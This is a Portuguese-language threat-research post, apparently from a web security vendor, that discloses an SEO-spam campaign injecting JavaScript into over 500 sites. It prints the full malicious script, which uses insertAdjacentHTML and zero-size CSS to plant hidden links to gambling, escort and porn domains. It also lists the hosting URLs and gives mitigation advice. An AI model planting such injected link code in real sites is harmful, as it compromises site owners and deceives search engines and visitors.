Ontem descobrimos outro ataque JavaScript client-side visando +500 sites, incluindo governos e universidades. Os scripts injetados criam links ocultos no Document Object Model (DOM), apontando para sites externos, uma interface de programação para documentos web.
Até o momento, nenhum feed de ameaças detectou este ataque.
Acreditamos que esta é uma campanha de Search Engine Optimization (SEO) black hat. Os scripts injetados criam links ocultos, apontando para sites externos. Esses links são estilizados para serem invisíveis aos usuários usando CSS:
style="overflow: auto; position: absolute; height: 0pt; width: 0pt;"


Os scripts maliciosos estão hospedados em scriptapi[.]dev. Encontramos múltiplas variantes do mesmo script, hospedadas no mesmo domínio:
- scriptapi[.]dev/api/smacr[.]js
- scriptapi[.]dev/api/en[.]tlu[.]js
- scriptapi[.]dev/api/sie[.]tlu[.]js
- scriptapi[.]dev/api/ppymca[.]js
- scriptapi[.]dev/api/pbsgc[.]js
- scriptapi[.]dev/api/adventum[.]js
- scriptapi[.]dev/api/harvardpress[.]js
- scriptapi[.]dev/api/krachelart[.]js
- scriptapi[.]dev/api/malagaadventures[.]js
Nosso diretório de domínios identificou o domínio malicioso em 20 de janeiro de 2025.

O Mecanismo do Script:
- Recuperar a tag do script: Usando document.currentScript, o script malicioso identifica sua localização no DOM.
- Injetar links ocultos: Ele usa o método insertAdjacentHTML('beforebegin', linksHTML) para inserir os links antes da tag do script no DOM.
Uma captura de tela tirada de um site afetado, mostrando múltiplos domínios sendo visivelmente ocultados:

const linksHTML = `
<div style="text-align: center; display: table-column">
<a href="https://fullfilmizle[.]net/" title="full film izle">full film izle</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://myremedyproducts[.]com" title="myremedyproducts[.]com">myremedyproducts[.]com</a>
<a href="https://albalondres[.]com" title="albalondres[.]com">albalondres[.]com</a>
<a href="https://kineticartstucson[.]com" title="kineticartstucson[.]com">kineticartstucson[.]com</a>
<a href="https://stolenbeauty[.]org" title="stolenbeauty[.]org">stolenbeauty[.]org</a>
<a href="https://www.bilgihocasi[.]com" title="www.bilgihocasi[.]com">www.bilgihocasi[.]com</a>
<a href="https://joinoilfield[.]com" title="joinoilfield[.]com">joinoilfield[.]com</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://betswot[.]com" title="starzbet">starzbet</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://alanyasmmm[.]com/" rel="dofollow">alanya escort</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://nevizadecafe[.]com/" title="deneme bonusu">deneme bonusu</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://alansh[.]com" title="tlcasino">tlcasino</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://pmtips[.]net/">crackstreams</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="http://lasip[.]net/" title="antalya escort bayan">antalya escort bayan</a>
<a href="http://www.niceescorts[.]com/" title="antalya escort">antalya escort</a>
<a href="https://www.shushescort[.]com/" title="istanbul escort bayan">istanbul escort bayan</a>
<a href="https://servissirinevler[.]com/" title="şirinevler escort bayan">şirinevler escort bayan</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://www.umraniyeti[p.]net/anadolu-yakasi/kadikoy-escort/">escort kadıköy</a>
<a href="http://www.doescorts[.]com/">www.doescorts[.]com</a>
<a href="http://www.umraniyeescorts[.]com/">ümraniye escort bayanlar</a>
<a href="http://www.maltepeescort[.]com/">escort maltepe</a>
<a href="https://pendikroyal[.]com/">pendik escort</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://www.xxxpornxxx[.]net/video/12776/nunziato-xxx-porn/" title="nunziato xxx porn">nunziato xxx porn</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://www.ipsnews[.]net/">streameast</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://yatirimbonusu[.]com/" title="deneme bonusu veren siteler">deneme bonusu veren siteler</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://justgpu[.]com/" title="deneme bonusu veren siteler">deneme bonusu veren siteler</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://sojienergy[.]com/" title="deneme bonusu veren siteler">deneme bonusu veren siteler</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://romabet.online" target="_blank" title="romabet giriş">romabet giriş</a>
<a href="https://betgargirisyap[.]com" target="_blank" title="betgar giriş">betgar giriş</a>
<a href="https://romabetgiris3[.]com" target="_blank" title="romabet giriş">romabet giriş</a>
<a href="https://roketbetgirisyap[.]com" target="_blank" title="roketbet giriş">roketbet giriş</a>
<a href="https://roketbet[.]net" target="_blank" title="roketbet giriş">roketbet giriş</a>
<a href="https://roketbetgiris[.]com" target="_blank" title="roketbet giriş">roketbet giriş</a>
<a href="https://ligobetbahis[.]com/" target="_blank" title="ligobet giriş">ligobet giriş</a>
<a href="http://ligobet1[.]net" target="_blank" title="ligobet giriş">ligobet giriş</a>
<a href="https://ligobetgiris[.]org/" target="_blank" title="ligobet giriş">ligobet giriş</a>
<a href="https://ligobetgirisi[.]com/" target="_blank" title="ligobet giriş">ligobet giriş</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://denemebonususiteleri[.]net/" title="deneme bonusu veren siteler">deneme bonusu veren siteler</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://princearthurherald[.]com/" title="deneme bonusu veren siteler">deneme bonusu veren siteler</a>
<a href="https://westpasco[.]com/" title="deneme bonusu veren siteler">deneme bonusu veren siteler</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://www.airstreamofchicago[.]com/" title="casino siteleri">casino siteleri</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://chrisspielman[.]com/" title="deneme bonusu" target="_blank">deneme bonusu</a>
<a href="https://www.bestwesterndesignerinn[.]com/" title="deneme bonusu veren siteler" target="_blank">deneme bonusu veren siteler</a>
<a href="https://www.catch25li[.]com/" title="Canlı casino siteleri" target="_blank">Canlı casino siteleri</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="http://1xbetm[.]info/" title="1xbet giriş">1xbet giriş</a>
<a href="https://xslotx[.]com/trx/" title="xslot giriş">xslot giriş</a>
<a href="https://zbahisz[.]com/zb/" title="zbahis">zbahis</a>
<a href="https://betturkeygiris[.]org/tur/" title="betturkey giriş">betturkey giriş</a>
<a href="https://www.trbetr[.]com/" title="trbet">trbet</a>
<a href="https://www.wiibet[.]com/tr10/" title="betist">betist</a>
<a href="https://babilonbeto[.]com/" title="babilonbet">babilonbet</a>
<a href="https://betrollere[.]com/" title="betroller">betroller</a>
<a href="https://bahisbudurtr[.]com/" title="bahisbudur">bahisbudur</a>
<a href="https://www.bahiscom[.]info/tr/" title="bahis[.]com">bahis[.]com</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://siliconvalleywineries[.]com/" title="deneme bonusu veren siteler" target="_blank">deneme bonusu veren siteler</a>
<a href="https://tapoutdrinks[.]com/" title="casino siteleri" target="_blank">casino siteleri</a>
<a href="https://www.qujapan1635[.]com/" title="bahis siteleri" target="_blank">bahis siteleri</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://buy.fans/" title="buy.fans">buy.fans</a>
</div>
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="https://mobilbahisgir[.]net/" title="mobilbahis">mobilbahis</a>
<a href="https://rokubetgir[.]com/" title="rokubet">rokubet</a>
</div>
`;
const scriptTag = document.currentScript;
scriptTag.insertAdjacentHTML('beforebegin', linksHTML);
O objetivo deste ataque
Esses links invisíveis são indexados por mecanismos de busca. Esses mecanismos de busca detectam os links em sites respeitáveis e atribuem valor de SEO a eles. Esses links estão ocultos, então não interrompem a experiência do usuário nem são facilmente detectados pelos proprietários dos sites.
Abordagens como essas são frequentemente chamadas de técnicas de SEO black hat.
Encontramos mais de 500 sites afetados por esta campanha, incluindo grandes domínios governamentais e universitários. Os sites afetados usavam uma ampla variedade de frameworks, indicando o amplo escopo do ataque:
- WordPress 6.7.1
- MS ASP.NET
- vBulletin
- PHP CodeIgniter
- 1C-Bitrix
A maioria desses sites está pública aqui:
https://publicwww.com/websites/scriptapi.dev/ https://urlscan.io/search/#scriptapi.dev
Implicações Mais Amplas
Este ataque destaca o risco crescente de ataques à cadeia de suprimentos no desenvolvimento web. Scripts de terceiros são frequentemente um ponto de fraqueza devido ao seu acesso direto ao DOM. Isso permite que eles executem praticamente qualquer ação no navegador do usuário, o ponto final da cadeia de suprimentos web.
Mitigação e proteção
Como primeiro passo, atualize seus plugins do WordPress, avalie seu uso e remova os não utilizados. Encontre o malware e delete-o. Os atacantes deixam uma backdoor na maioria das vezes. Encontre e remova-a.
O cside pode detectar, alertar e bloquear ataques client-side como esses devido ao nosso mecanismo de detecção avançado e proxy.
Se você não é cliente do cside, aqui estão outras medidas que você pode tomar:
- Implementar uma Content Security Policy (CSP): Restrinja a inclusão de scripts de terceiros a domínios confiáveis.
- Usar Subresource Integrity (SRI): Valide a integridade de scripts hospedados externamente comparando hashes.
- Monitorar Mudanças no DOM: Use ferramentas ou scripts para detectar modificações não autorizadas no DOM, especialmente a injeção de elementos ocultos.
- Auditar Regularmente Scripts de Terceiros: Revise periodicamente as dependências e garanta que nenhuma alteração não autorizada tenha sido feita.
- Usar Web Application Firewalls (WAF): Proteja seu site contra tráfego suspeito e inclusões de scripts não autorizadas.
Comece gratuitamente hoje ou entre em contato conosco para mitigar riscos




